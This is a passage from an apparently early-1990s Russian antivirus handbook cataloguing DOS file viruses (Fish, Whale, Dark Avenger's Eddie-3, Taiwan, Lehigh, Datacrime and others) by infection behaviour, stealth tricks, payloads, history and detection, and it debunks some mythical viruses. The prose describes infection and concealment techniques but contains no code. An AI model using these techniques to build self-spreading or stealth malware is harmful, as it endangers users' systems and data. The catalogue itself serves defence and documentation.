разработке которых приняты изощренные меры по маскировке своего присутствия на зараженной машине. Описываемые ниже вирусы основаны на RCE-04096 и, возможно, принадлежат тому же автору. 6.2.1. Вирус RCE-03584 (Fish є Рыба) Неформальное название данного вируса связано с тем, что иногда в теле зараженных программ встречается строка "FISH FI". Кроме того, проматривая оперативную память при резидентном вирусе можно обнаружить имена некоторых рыб. Формально вирус представляет собой резидентный файловый вирус, заражающий как COM-, так и EXE-файлы. Вирус заражает COMMAND.COM. Подобно некоторым бутовым вирусам RCE03584 переживает теплую перезагрузку, перехватывая комбинацию нажатий Ctrl-Alt-Del. При выполнении зараженной программы, вирус проверяет свое наличие в памяти и, если отсутствует, то инсталлируется в младших адресах оперативной памяти. При этом, если прерывание 13 не перехвачено другой программой, то вирус перехватывает это прерывание и резервирует 8192 байта. Если прерывание 13 уже перехвачено, то вирус резервирует только 4096 байт памяти и черех некоторый, случайный интервал времени инициирует теплую перезагрузку в процессе которой заражает COMMAND.COM и перехватывает 13 прерывание. Будучи резидентным, вирус заражает все открываемые COM- и EXEфайлы. При этом длина зараженных файлов увеличивается на 3584 байта, однако это увеличение при резидентном вирусе маскируется. При запуске программы CHKDSK на зараженной машине диагностируются ошибки в распределении файлов. Если при этом CHKDSK запущена с ключем /F, то попытки исправления ведут к потере кластеров и сращиванию файлов. Проявление вируса связано с тем, что он замедляет запись в видеопамять и на инфицированных машинах заметно мерцание экрана дисплея. Другие проявления вируса неизвестны, хотя вирус проверяет равен ли текущий год 1991. Подобно вирусу RCE-04096 данный вирус не обнаруживается ревизорами, запущенными на зараженной системе. Вирус также обходит сторожа, следящие операциями записи на диск. Кроме того, вирус постоянно перекодирует себя в оперативной памяти. Исторические замечания. Данный вирус является существенно переработанной модификацией вирус RCE-04096 и был выделен в мае 1990 г. К моменту выделения он был достаточно распространен в Западной Европе. Предполагается, что он был разработан в Западной Германии. В СССР не выделен. Приводимые сведения базируются, в основном, на списке П.Хоффман. Методы и программные средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66 (см. СП 2-7). 6.2.2. Вирус Mother Fish (Whale) Данный вирус является наиболее сложным и изощренным из известных стелс-вирусов. Размер кода достигает 9К. Это приблизительно 6 тыс строк исходного текста, т.е. от нескольких месяцев до года упорной работы. Вирус написан программистом, знакомым с непосредственным программированием входящих в состав IBM/PC контроллеров, в частности контролллера прерываний 8259 и контроллера 8255, управляющего периферийными устройствами. Вирус зашифрован и имеет самомодифицирующийся инсталлятор. Это делает детектирование достаточно сложной задачей, хотя Scan вроде бы успешно с ней справляется. Исторические замечания. Данный вирус, по-видимому, является развитием предыдущего. Обнаружен примерно в июле-августе 1990 г. в Западной Европе, а также в Болгарии. В СССР не выделен. Приводимые сведения базируются, в основном, на материалах Virus forum FIDO NET. Методы и программные средства защиты. Вирус детектируется полидетектором SCAN, начиная с версий, датированных августом 1990 г. 6.3. "Болгарская серия" Как уже указывалось, Болгария пока является сновным поставщиком файловых вирусов для СССР. Поэтому сведения о появишихся там файловых вирусах представляют особый интерес. 6.3.1. Новые вирусы группы Dark Avenger 6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3) Вирус уменьшает системную память на 688 байтов. Уменьшение системной памяти маскируется. Заражаются программы длиной более 651 байтов. Заражение происходит при запуске файлов на выполнение. Увеличение длины маскируется при резидентном вирусе. Инфицированные файлы содержат строку "Eddie Lives." в конце инфицированного файла. Побочным эффектом вируса является появление потерянных кластеров при проверке целостности файловой системы командой CHKDSK /F Неформальные названия. Eddie 3, Stealth Virus. Исторические замечания. Вирус был обнаружен в Болгарии в апреле 1990. На Запад передан В.Бончевым. Приведенные сведения основаны на описании П.Хоффман. По-видимому разработан в Софии техно-крысой называющей себя Dark Avenger. Методы и программные средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после смерти) Неформальное название связано с тем, что вирус содержит текстовую строку "Live after Death", хотя она не видна при просмотре дампа (вирус шифрует собственное тело при заражении). Формально RC-800 - резидентный файловый вирус, заражающий файлы при запуске их на выполнение, но не заражающий COMMAND.COM. Шифрует собственное тело. При запуске зараженной программы вирус инталлируется в старших адресах памяти, уменьшая системную память на 16К (очевидно по принципу "гулять, так гулять"), используя старшие 8192 байта. Перехватывает прерывание 2A. Файлы заражаются при запуске на выполнение. Зараженные файлы заражаются повторно, причем каждый раз длина учеличивается на 800 байтов. Минимальная длина заражаемые файлов - 1K, однако файлы большие 800 байтов также заражаются выборочно. Имеется штамм заражающий файлы как при выполнении, так и при открытиии. Этот штамм уменьшает системную память ровно на 8192 байта. Исторические замечания. Вирус был обнаружен в Болгарии в мае 1990. На Запад передан В.Бончевым. Приведенные сведения основаны на описании П.Хоффман. По-видимому, разработан в Софии технокрысой, называющей себя Dark Avenger. Неформальные названия. Методы и средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.3.1.3. Вирус RCE-1024 Данные вирус, по видимому является более ранней версией RCE2000. Формально данный вирус является резидентным. файловым вирусом, заражающим как COM- так и EXE-файлы. При запуске зараженной програмы вирус проверяет значения ряда прерываний, включая 1 и 3. Если прерывания 1 и 3 перехвачены, то вирус не инсталлируется в оперативной памяти, а запускает программу вирусоноситель и после ее окончания вызывает зависание системы. Если указанные прерывания свободны, то вирус инсталлируется, уменьшая значения свободной памяти на 1072 байта и перехватывая ряд прерываний Являясь резидентным вирус заражает каждую выполняемую программу имеющую длину больше 1024 байта. Увеличение длины маскируется при резидентном вирусе. Вирус дописывается в конец зараженных файлов. Файлы заражаются однократно. В конце зараженных файлов имеется строка '7106286813'. Вирус, по видимому, не имеет стадии проявления. Исторические замечания. Вирус был обнаружен в Болгарии в мае 1990. На Запад передан В.Бончевым. Приведенные сведения основаны на описании П.Хоффман.По-видимому разработан в Софии техно-крысой называющей себя Dark Avenger. По ряду признаков его можно считать предшественником RCE-02000. Неформальные названия. Методы и программные средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.3.1.4. Вирус RCE-02100 Формально данный вирус является резидентным файловым вирусом, заражающим как COM-, так и EXE-файлы, включая оверлеи. Заражает COMMAND.COM. При выполнении зараженной вирусом программы вирус инсталллируется, уменьшает системную память на 4288 байтов, а затем заражает командный процессор. Заражает программы при выполнении или открытии файла. Минимальная длина заражаемой программы - 2100 байтов. Увеличение длины при резидентном вирусе маскируется. Как обычно, при резидентном вирусе появляется побочный эффект, связанный с появлением потерянных кластеров при проверке целостности файловой системы командой CHKDSK /F Исторические замечания. Вирус был обнаружен в Болгарии в июле 1990. Распространялся через троянскую версию антивирусной программы UScan, которая была загружена в несколько европейских BBS. При этом наличие вируса в самой программе было замаскировано и его было невозможно обнаружить детектором, рассчитанным на данный вирус. Приведенные сведения основаны на описании П.Хоффман. По-видимому, разработан в Софии техно-крысой, называющей себя Dark Avenger. Неформальные названия. 2100, UScan Virus Методы и средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.3.2. Вирус RC-1701p (Phoenix - Феникс) Несмотря на идентичную длину вирус не связан с группой Буквопад. Формально данный вирус представляет собой файловый резидентных вирус, заражающий COM-файлы и имеющий специальный механизм инфицирования COMMAND.COM. Инсталллируется в старшие адреса свободной памяти, резервируя 8192 байта. Перехватывает прерывание 2A. Ищет в корневом каталоге текущего диска COMMAND.COM и заражает его не увеличивая длины (тело вируса записывается в область с нулевыми байтами. Затем выполняет ту же операцию на диске С (на случай, если текущий диск является электронным). Заражает COMфайлы, увеличивая их длину на 1701 байт. Проверка файла на зараженность выполняется некорректно, поэтому вирус может повторно заражать один и тот же файл, каждый раз увеличивая длину на 1701 байт. Инфицируются файлы как при выполнении, так и при открытиии. При попытке выполнить утилиту CHKDSK на зараженной системе инициируется теплая перезагрузка системы. Использует сложный метод шифровки тела, включая самомодификацию инсталлятора, поэтому детекторы основанные на поиске контексных строк не в состоянии обнаружить данный вирус. Имеет ряд штаммов. Исторические замечания. Вирус был обнаружен в Болгарии в июле 1990. На Запад был передан В.Бончевым. Приводимые сведения основаны на описании П.Хоффман. По-видимому, разработан в Софии. Неформальные названия. V1701New, P1 Методы и средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.4. Файловые вирусы восточного происхождения 6.4.1. Вирус RCE-2064 (Wolfman) Формально данный вирус является резидентным файловым вирусом, заражающим как COM-, так и EXE-файлы, включая оверлеи. Заражает COMMAND.COM. При выполнении зараженной вирусом программы вирус инсталллируется, резервируя в младших адресах свободной памяти два блока памяти один размером 68032, а другой - 4544 байта. Таким оразом общий размер свободной памяти уменьшается на 72640 байтов. Вирус перехватывает прерывания 09, 10, 16, 21, 2F, ED и F5. Заражает программы при выполнении файла. Минимальная длина заражаемой программы - 2064 байта. при заражении COM-файлов тело вируса дописывается в начало файла, а при заражении EXE-файлов в конец. Проявления вируса неизвестны. Исторические замечания. Вирус был обнаружен на Тайване в июле 1990. Приводимые сведения основаны на описании П.Хоффман. Повидимому, разработан в Тайбее. Неформальные названия. Помимо приведенных выше неизвестны. Методы и средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.4.2. Вирус C-743 (Taiwan-2) Формально данный вирус является нерезидентным файловым вирусом, заражающим COMMAND.COM. При выполнении зараженной программы вирус предпринимает попытку заразить три COM-файла. поиск начинается не с текущего каталога, а с корневого каталога диска С. Заражение выполняется путем дописывания кода вируса в начало файла. При этом первые743 байта программы переписываются в конец. Из-за ошибки в коде вируса при заражении программ, меньших 743 байта зараженная програма будет всегда иметь длину 1486 байтов. Фаза проявления наступает на восьмой день любого месяца. В этот день при запуске любой зараженной программы вирус выполняет попытку записи первых 160 секторов на дисках С и D, начиная с сектора 0. Исторические замечания. Вирус был обнаружен на Тайване в январе 1990. Приводимые сведения основаны на описании П.Хоффман. Повидимому, разработан в Тайбее. Неформальные названия. Помимо приведенных выше неизвестны. Методы и средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3) Неформальное название отражает порядковый номер поступления вирусов с Тайваня к сотрудникам Макафи (первыми двуми были Дисккилллер и C-743 (Taiwan-2)). По своей структуре вирус не связан с вирусом С-743. При запуске зараженной программы вирус инсталлируется в нижние адреса свободной оперативной памяти резервируя 3152 байта. Перехватывает прерывание 21. Являясь резидентным, заражает все исполняемые программы. По данным П.Хоффман COM-файлы увеличиваются на 2900 байтов, а EXE-файлы на 2900-2908 (скорее 2900-2915). Заражаются и оверлейные файлы. Проявления неизвестны. Исторические замечания. Вирус был обнаружен на Тайване в июне 1990. Приводимые сведения основаны на описании П.Хоффман. Неформальные названия. Помимо приведенных выше неизвестны. Методы и средства защиты. Вирус детектируется полидетектором SCAN, начиная с версии 66. 6.4.4. Вирус RCE-4096 (Plastique) Формально данный вирус является резидентным файловым вирусом, заражающим как COM-, так и EXE-файлы, включая оверлеи. Не заражает COMMAND.COM. При выполнении зараженной вирусом программы вирус инсталлируется, резервируя в младших адресах свободной памяти 5120 байтов. Вирус перехватывает прерывания 08, 09, 13, 21 и ED. Заражает программы при выполнении и открытии файла. Длина зараженных файлов увеличивается на 4096 байтов. Проявления вируса неизвестны. Исторические сведения. Вирус обнаружен в июле 1990 г. на Тайване и, по-видимому, разработан там же. Имеется ранний неотлаженный штамм - RCE-3012 (Plastique) Неформальные названия. Plastique-B, Plastique 5.21, Plastic Bomb, Средства обнаружения и защиты. Детектируется Scan (версии 66+). 6.5. Некоторые "ископаемые" файловые вирусы Ряд вирусов, ранее весьма распространенных на Западе, в настоящее время практически полностью уничтожен и сведения о них представляют, в основном, исторический интерес. Впрочем последняя фраза не совсем корректна, поскольку необходимо помнить, что любой компьютерный вирус практически "безсмертен" и может "реанимироваться" из архивов через несколько лет после того как о нем все забыли. 6.5.1. Вирус RC-0-346 (Lehigh - Лехайский) Название вируса связано с тем, что он впервые был обнаружен в университете Lehigh (США) в ноябре 1987 г. В настоящее время вирус, по-видимому, относится к "ископаемым" и представляет лишь исторический интерес как один из первых файловых вирусов, а также как первый (и один из немногих) вирус, специализированный на заражении определенного файла. Формально вирус RC-0-346 является файловым резидентным вирусом, распространяющимся через файл COMMAND.COM (командный процессор MS DOS). Иногда данный вирус называют "системным вирусом", акцентируя внимание на том, что он заражает только командный процессор. По мнению автора, такое название неоправданно, так как хотя командный процессор и является неотъемлемой частью операционной системы, его выбор, в отличие от распространенного мнения, произволен. Конечно стандартный командный процессор, поставляемый с MS DOS (COMMAND.COM) и является наиболее распространенным, однако он не является единственным используемым. Например, ряд фирм, включая Хьюллет Паккард, поставляют свои версии MS DOS c диалоговым командным процессором, и пользователи этих машин никогда не сталкивались с COMMAND.COM и характерным приглашением C:\. Кроме того, учитывая весьма низкое качество написания COMMAND.COM (а в четвертой версии MS DOS он не только плохо написан, но и еще "страдает от ожирения", т.к. его размер вырос более чем на 10К без существенного увеличения функциональных возможностей) квалифицированные пользователи часто заменяют его на командный процессор 4DOS фирмы J.P. Software. Поэтому выбор COMMAND.COM как "среды обитания" вируса ничем принципиально не отличается от выбора, скажем, Norton Commander или другой распространенной программы. Вирус имплантирует свое тело в область памяти, используемую COMMAND.COM для стека и изменяет первые байты зараженного COMMAND.COM таким образом, чтобы первым получить управление после его загрузки. Поэтому длина зараженного COMMAND.COM не отличается от длины нормального. При запуске командного процессора вирус получает управление и становится резидентным, перехватывая прерывание 21. При возникновении прерывания 21, вирус перехватывает запросы "выполнить программу" и "найти первый файл". При обработке этих запросов вирус сначала определяет, содержит ли диск COMMAND.COM. Если да, то он заражает COMMAND.COM диска, к которому идет обращение, и увеличивает спецциальный счетчик. Если винчестер отсутствует, то счетчик хранится в оперативной памяти, иначе є записывается на диск. Таким образом, перезагрузка сбрасывает счетчик на ПЭВМ без винчестера, в то время как на ПЭВМ с винчестером значение счетчика сохраняется. При достижении счетчиком значения 4 вирус, используя прерывание 26, обнуляет первые 32 сектора того диска, с которого он был загружен. Обнаружение данного вируса упрощается в связи с тем, что при заражении вирус изменяет дату создания файла. Кроме того, вирус не проверяет, защищен диск от записи или нет и не снимает атрибут READ ONLY. Поэтому, если COMMAND.COM имеет этот атрибут, то вирус в него не попадет (не исключено, что в некоторых штаммах данного вируса эти "недостатки" устранены). Исторические замечания. Данный вирус является одним из первых вирусов-вандалов. Он был обнаружен в студенческими консультатами Вычислительного центра Лехайского университета (Lehigh university, Bethlehem, США) в ноябре 1987 г.[Wyk89]. Они обратили внимание, что начиная с 18.10.87 пользователи начали в массовом порядке возвращать выданные им дискеты, заявляя что они дефектны. Хотя в условиях интенсивной эксплуатации дискеты характерной для университета последние иногда становятся сбойными из-за физического износа, плохо отрегулированного дисковода или попадания грязи, скорость возврата дискет нарастала настолько заметно, что было решено проанализировать ситуацию. В результате и был выявлен Лехайский вирус. Фактически это первый файловый вирус, распространение которого приняло характер эпидемии. Возможно существуют два штамма, один не увеличивает длину зараженного COMMAND.COM, а другой увеличивает ее на 20 байт. В СССР явно не отмечался. Излагаемые сведения опираются на информацию в зарубежных печатных изданиях. Методы и программные средства защиты. Данный вирус диагностируется полидетектором SCAN. Вирус ищет файл с командным процесором по имени, а не по COMSPEC, поэтому изменение имени командного процессора защищает командный процессор от заражения. Как уже указывалось, базисная версия вируса не сбрасывает атрибут READ ONLY, поэтому если командный процессор защищен этим атрибутом, то он заражаться не будет. Поскольку вирус является резидентным возможно создание резидентной вакцины. Вместо использования фага проще переписать командный процессор заново с дистрибутивной копии операционной системы. 6.5.2. Вирус dBASE Вирус представляет интерес как представитель класса вирусов, направленных на модификацию данных. Он использует достаточно изощренную схему изменения DBF-файлов, причем при резидентном вирусе внесенные изменения маскируются. Формально вирус dBASE является резидентным файловым вирусом, который перехватывает прерывание 21 и ждет попытки открытия файла с расширением DBF. При этом вирус запоминает управляющий блок файла (file handle) и текущую длину файла с расширением DBF. Любая последующая операция по записи в этот файл искажается вирусом таким образом, что первые два байта записываемого блока меняются местами. При последующих операциях чтения вирус восстанавливает первоначальное положение этих байтов, так что до тех пор, пока вирус является резидентным, вся информация читается правильно. Через 90 дней вирус разрушает FAT. При восстановлениии с архивных копий пользователь обнаруживает, что данные в них искажены. Вирус dBASE создает специальный файл с атрибутом HIDDEN, называемый BUG.DAT, в котором хранится информация о том, какие записи файла (записывается смещение в байтах) имеют переставленные байты. Для каждого каталога, содержащего DBF-файлы, создается свой скрытый файл BUG.DAT. Исторические замечания. Данный вирус описан в 1989 г. в журнале BYTE в статье Р.Гринберга [Greenberg89]. В СССР случаи заражения не отмечались. Методы и программные средства защиты. При работе с файлом BUG.DAT вирус не проверяет установку атрибута READ ONLY. Поэтому, если создать искуственный файл с таким атрибутом, то вирус не сможет записать в него информацию и тем самым повредить DBF-файлы. 6.5.3. Screen Virus - "экранный" вирус Данный вирус также является резидентным и, как и вирус dBASE, выполняет перестановки байтов. Он перехватывает прерывание от таймера и каждые несколько минут, начиная со случайной позиции последовательно сканирует память видеоадаптера. Если вирус находит четыре последовательные цифры, то он переставляет местами две из них. Вирус повторно-заражает СОМ-файлы. При первом запуске зараженной программы инсталлятор вируса перед тем, как сделать код вируса резидентным, заражает все подходящие файлы в текущем каталоге, включая и файл, содержащий запускаемую программу, если последняя находится в текущем каталоге. Исторические замечания. Данный вирус описан в 1989 г. в журнале BYTE в статье Р.Гринберга [Greenberg89]. Методы и программные средства защиты. Вирус содержит ASCIIстроку "InFeCt" (с указанным сочетанием больших и маленьких букв). Непоредственно перед этой строкой располаются четыре байта оригинальной программы, замененные вирусом. Эти байты можно вручную переставить в начало программы или написать соответствующий фаг. 6.5.4. Группа первоапрельских вирусов Данная группа, по видимому, является историческим предшественником иерусалимской группы и, возможно, тому же автору. В нее входят вирусы RC-897 и RE-1488. принадлежит 6.5.4.1. Вирус RC-897 (SURIV 1 - Сурив 1, April First - Первое апреля) Резидентный файловый вирус, заражающий COM-файлы при запуске их на выполнние. При заражении очередного файла выдает на экран сообщение YOU HAVE A VIRUS. а первого апреля выдает сообщение HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS (1 апреля ха-ха-ха. У Вас вирус) и вызывает зависание системы. Исторические замечания. Вирус разработан в Израиле в 1987 году и относится к ранним представителям иерусалимской группы. Методы и программные средства защиты. Данный вирус диагностируется полидетектором SCAN. "Выкусывается" полифагом CLEANUP, а также полифагом Antivir (версия 3.0 1988), разработанным D.Hoppenrath. 6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2, April First - Первое апреля, Jerusalem D - Иерусалим Д) Штамм, заражающий EXE-файлы. Проявляется 1 апреля и после определенного времени работы на компьютере, выдавая сообщение HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS. (1 апреля ха-ха-ха. У Вас вирус) При этом зависание системы приводит к потере информации при редактировании или других аналогичных работах. Исторические замечания. Вирус разработан в Израиле в 1987 году и относится к ранним представителям иерусалимской группы. Методы и программные средства защиты. Данный вирус диагностируется полидетектором SCAN. "Выкусывается" полифагом CLEANUP, а также полифагом Antivir (версия 3.0 1988), разработанным D.Hoppenrath. 6.5.5. Группа Datacrime (Дейтакрайм) Данная группа появилась в США в 1989 г. В настоящее время состоит из трех штаммов длиной 1168 (Datacrime), 1280 (DatacrimeII) и 1514 (Datacrime-IIb) байтов. При этом первые два штамма заражают только файлы типа COM, а штамм Datacrime-IIb - как файлы типа COM, так и файлы типа EXE. Стадия проявления для данного вируса наступает ежегодно после 12 октября (день открытия Америки, День Колумба). Перед поиском файла-жертвы, вирус проверяет текущую дату. Если дата больше 12 октября и компьютер имеет винчестер, то вирус дешифрует и выдает на экран сообщение: DATACRIME VIRUS RELEASED: 1 MARCH 1989 При этом вирус форматирует первые восемь дорожек нулевого цилиндра диска С, уничтожая MBR, бутсектор, FAT и главный каталог. После этого вирус зацикливается, выдавая в этом бесконечном цикле символ BELL (звуковой сигнал). Это еще раз подчеркивает необходимость резервирования первых треков при каждой загрузке в специальный файл, расположенный в фиксированном месте диска или использования для этой цели программы MIRROR из пакета PC SHELL. По данным H.J.Highland [158], который до 1990 г. был главным редактором журнала Computers & Security, автор вируса предпринял некоторые меры маскировки. Вирусы, входящие в данную группу, не заражают файлы, седьмой символ имени которых равен "D", и в частности, файл COMMAND.COM. Как уже указывалось, содержащееся в теле вируса текстовое сообщение шифруется с помощью команды XOR. Дешифровка выполняется непосредственно перед выдачей сообщения на экран, т.е. перед срабатыванием троянской компоненты. При поиске зараженных файлов вирус просматривает корневой каталог и все подкаталоги винчестера. Если файлов-жертв там не выполняется просмотр диска A, а затем диска B. обнаружено, то 6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 11168, Columbus Day - День Колумба) Данный вирус является нерезидентным файловым вирусом, заражающим COM-файлы. При заражении дописывает себя в конец файла, увеличивая длину на 1168 байтов и заменяя первые пять байтов зараженной программы на команду перехода к началу вируса. Вирус размножается с 1 апреля по 12 октября любого года. До 1 апреля вирус находится в латеном состоянии и при запуске зараженных файлов сразу передает управление вирусоносителю. Стратегия размножения основана на просмотре каталогов и заражении всех найденных COM-файлов, кроме тех, которые имеют в качестве седьмой буквы имени букву D. Сначала просматриваются разделы винчестера, а затем дисководы с дискетами. Из-за ошибок в коде заражаются не все файлы, создавая впечатление случайного вибора. Возможно зависание системы в процессе заражения. При выполнении зараженного файла после 12 октября любого года вирус выдает приведенное выше сообщение (зашифровано в теле вируса) и выполняет низкоуровневое форматирование жесткого диска. Для PC/AT, а также систем c контроллерами типа RLL или SCSI алгоритм запуска низкоуровневого форматирования неработоспособен. Исторические замечания. Данный вирус обнаружен в мае 1989 г. в Европе. Это связано с тем, что фаза распространения и фаза проявления этого вируса отделены периодом в десять месяцев. По некоторым данным, вирус разработан в Голландии. Судя по выдаваемой надписи, время разработки относится в началу 1989 г. а начало распространения - к марту 1989 г. Случаи заражения отмечались в США уже летом того же года. В настоящее время практически полностью уничтожен. В СССР явно не отмечался, однако, учитывая его европейское происхождение, рекомендуется проверять программного обеспечения на зараженность вирусами данной группы в сентябре текущего года. Методы и программные средства защиты. Диагностируется полидетектором SCAN. 6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280, Columbus Day - День Колумба) Штамм, заражающий только файлы типа EXE и способный форматировать винчестер с контроллерами типа RLL или MFM. 6.5.5.3. Вирус СE-1514 (Datacrime II - Дейтакрайм, 1514, Columbus Day - День Колумба) Штамм, заражающий как COM-, так и EXE-файлы. Тело вируса зашифровано. В отличие от предыдущего не пытается форматировать винчестер. 6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB , 1917, Columbus Day - День Колумба) Штамм, обнаруженный в ноябре 1989 года. Пытается форматировать диск в любой день после 12 октября, кроме понедельника. Метод шифровки тела изменен. 6.6. Мифические файловые вирусы "Мы рождены, чтоб сказку сделать былью..." Из популярной песни 30-х годов 6.6.1. Вирус Cookie, Cookie Monster - Печенье Данная легенда основана на демонстрационном вирусе, действительно существовавшем на компьютерах с микропроцессором 8080 или Apple II. Или, возможно, вирус полностью уничтожен и относится к "ископаемым" вирусам. Название данного вируса связано с персонажем популярной в США детской телевизионной программы SESAME STREET. Проявление этого вируса связано с выдачей на экран сообщения I WANT COOKIE (я хочу печенья) Только ввод с клавиатуры слова COOKIE позволяет продолжить работу с программой. Вводом тайного пароля "OREO" можно "усыпить" вирус на несколько недель. В некоторых вариантах легенды вирус стирает файлы при неправильном ответе или слишком длительной задержке с ответом. Исторические замечания. В файле П.Хоффман не описан. Методы и программные средства защиты. Как ни странно, но для данного вируса имеется фаг (может быть, это шутка) - вирус диагностируется и выкусывается полифагом Antivir (версия 3.0 1988), разработанным D.Hoppenrath. 6.6.2. Вирус, заражающий обьектные библиотеки Автором легенды является А.А.Чижов. В статье [Чижов88] он неосторожно высказал собственную идею о вирусе, внедряющемся в библиотеку обьектных модулей компилятора. Соответствующий текст представляет исторический интерес: "3. Вирус в обьектной библиотеке. Вирус, прикрепленный к обьектной библиотеке какого-либо компилятора, наиболее изощренный вид вируса. Такой вирус автоматически внедряется в любую программу, составленную программистом, работающим с зараженной библиотекой. Внедряется вирус в библиотеку следующим способом. В обьектную библиотеку добавляется модуль, содержащий в себе вирус, оформленный в виде подпрограммы. Затем в модуль, который должен получать управление от Дос в сформированной программе, всавляется вызов подпрограммы, содержащей вирус. При этом корректируется таблица глобальных имен, используемых в бибилиотеке. При компоновке какой-либо программы модуль с вирусом автоматически подключается к программе и всегда будет запускаться при ее запуске..." 6.6.3. Вирус "падающие головки винчестера" Данная легенда стала неотъемлемой частью программистского фольклора. Попытку придать этой легенде статус научного факта предпринял Ю.Н.Основский. В брошюре [Основский90] написано буквально следующее: "Вирусы, вызывающие аварию аппаратного обеспечения ЭВМ, представляются наиболее опасными из всех классов вирусов. Если после срабатывания вируса из классов, описанных выше, самым серьезным последствием является гибель всей информации на носителях, то срабатывание вируса, вызывающего аварию аппаратного обеспечения ЭВМ, кроме логического разрушения информации, вызывает еще и физическую поломку машины. К счастью, автор не сталкивался еще с такими вирусами "лицом к лицу" (т.е. на своем персональном компьютере), однако наблюдал результаты срабатывания одного из таких вирусов на машине своих коллег. Этот вирус заставил операционную систему обращаться к жесткому диску с резонансной частотой блока его головок. Как результат падение блока головок на вращающийся диск, заклинивание диска с повреждением всех его поверхностей и, естественно, разрушением информации. Для восстановления работоспособности машины пришлось покупать новый жесткий диск." Далее автор приводит еще более интересные сведения: "Однако можно с достаточной степенью уверенности утверждать, что распространение этого типа вирусов не грозит пользователям персональных ЭВМ с жесткими дисками производства стран є членов СЭВ только в том случае, если жесткие диски собраны в этих странах. При использовании готовых "фирменных" жестких дисков проникший на машину вирус может сработать, так как для определения резонансной частоты диска необходимо точно знать его физические параметры. Поэтому опасность срабатывания подобного вируса грозит только тем пользователям, машины которых оснащены "фирменными" жесткими дисками. Автору удалось установить (естественно, не путем эксперимента), что эти вирусы существуют в настоящее время только для двух типов "фирменных" жестких дисков: SeaGate и Amstrad." К сожалению, как будет ясно из дальнейшего изложения, благодаря богатой фантазии Ю.Н.Основскому удалось установить (естественно, не путем эксперимента) не только это. 6.6.4. Вирус в сетевом драйвере Источником данной легенды является все та же статья [Чижов88]. Приведем соответствующую цитату. "Возможно создание вируса, внедряемого в сетевой драйвер. Такой вирус переносит себя по сети на другой компьютер. Возможность перенесения по сети, конечно, зависит от вида сети - один вирус обычно может заражать только сеть одного вида с однотипными драйверами обслуживания сети. Самый простой способ переноса такого вируса - передача по сети нового варианта сетевого драйвера. Для этого необходимо, чтобы зараженный драйвер вызвал от незараженного абонента сетевой драйвер (или его часть), добавил в него вирус и передал обратно. При последующем запуске сетевого драйвера будет запущен уже новый зараженный драйвер. Процесс заражения сопровождается довольно большими передачами по сети, поэтому вирус может быть обнаружен за счет не только изменения размера сетевого драйвера или его контрольной суммы, но и обнаружения лишних передач по сети." 6.6.5. Сетевой вирус RCE-2231 Эта легенда принадлежит, по видимому, Ю.Н.Основскому, который пишет: "...Автору известен только один случай заражения сетевым вирусом, когда появление вируса на одной из концевых машин сети вызвало немедленное заражение головной машины сети, а за ней - и всех остальных концевых машин. Этот вирус длиной 2231 байт распространялся через прерывание DOS 21H (выполнение функций DOS, номера функций 5EH, 5FH). Вирус заражал .СОМ и .EXE-файлы, увеличивая их длину. Несмотря на то, что в течение нескольких дней никаких внешних проявлений вируса не замечалось, было решено полностью очистить все машины от вируса. Лишь на одной машине, исключенной из сети, вирус был обезврежен в операционной ситеме, но с исследовательскими целями оставлен в ряде программ пользователей. В результате исследования выяснилось следующее: - вирус и в отстутсвии сети способен заражать операционную систему, причем не только ее командный процессор, который поражается сразу, но и скрытые системные файлы, которые поражаются в самом конце инкубационного периода; - инкубационный период вируса составляет около месяца, после чего на машине происходит "ядерный взрыв" (это название предложено автором на основании анализа пораженного вирусом жесткого диска после срабатывания). Дело в том, что характер поражения напоминает след ядерного взрыва: чем ближе к FAT-таблице, которая является как бы "эпицентром" жесткого диска, тем больше разрушенных векторов в логических кластерах);" Ну и так далее. Если рассматривать данное описание как спецификацию, то она, к сожалению, представляется вполне реализуемой, если, конечно, отбросить "проколы" типа поражения скрытых системных файлов в конце инкубационного периода. Более того, напрашивается сравнение с вирусом C-1260v (прил.3), который фактически основан на аналогичной спецификации. Здесь, пожалуй, четче всего видна опасность фантазирования на "вирусную тематику". Не случайно, по некоторым данным, разведслужбы специально анализируют издаваемые детективы на предмет возможного использования приводимых сюжетных ходов в реальных операциях, а после просмотра "жестокого" фильма отмечается возрастание числа опасных преступлений, близких по схеме к событиям на экране. 6.6.6. Вирусы, поражающие скрытые системные файлы. Данная легенда, по видимому, принадлежит А.А.Чижову. В уже упоминавшейся статье [Чижов88] он пишет: "Вряд ли вирус может внедриться в загрузчик, так как загрузчик должен размещаться в одном секторе диска емкостью 512 байт. В загрузчике практически нет свободного места. Другое дело - скрытые файлы ДОС. Вирус может прикрепиться к любому из этих файлов, при этом его дальнейшее поведение может быть различным. Само прикрепление происходит просто - вирус может дописать себя в конец одного из файлов. при запуске каждого из скрытых файлов управление передается на начало файла, в котором стоит команда перехода на инициатор соответствующей части ДОС, вместо которой вирус может поставить переход на свое начало, а после настройки запустить инициатор ДОС. Наиболее действенным может быть прикрепление ко второму скрытому файлу IBMDOS.COM(MSDOS.SYS), так как, во-первых, в конце первого файла находится конфигуратор системы, обрабатывающий файл CONFIG.SYS, что мешает прикреплению вируса, во-вторых, в момент запуска первого скрытого файла ДОС еще не функционирует. В момент же запуска второго скрытого файла ДОС уже частично функционирует, полностью сформированы драйверы ввода-вывода." То, что А.А.Чижов описал как одну из возможностей, пытаясь одним из первых самостоятельно проанализировать возможные пути инфицирования MS DOS (и ошибаясь в данном случае), Ю.Н.Основский преподносит нам как факт, имеющий место на начало 1990 г.: "Поражение скрытых системных файлов приводит к заражению всей операционной системы 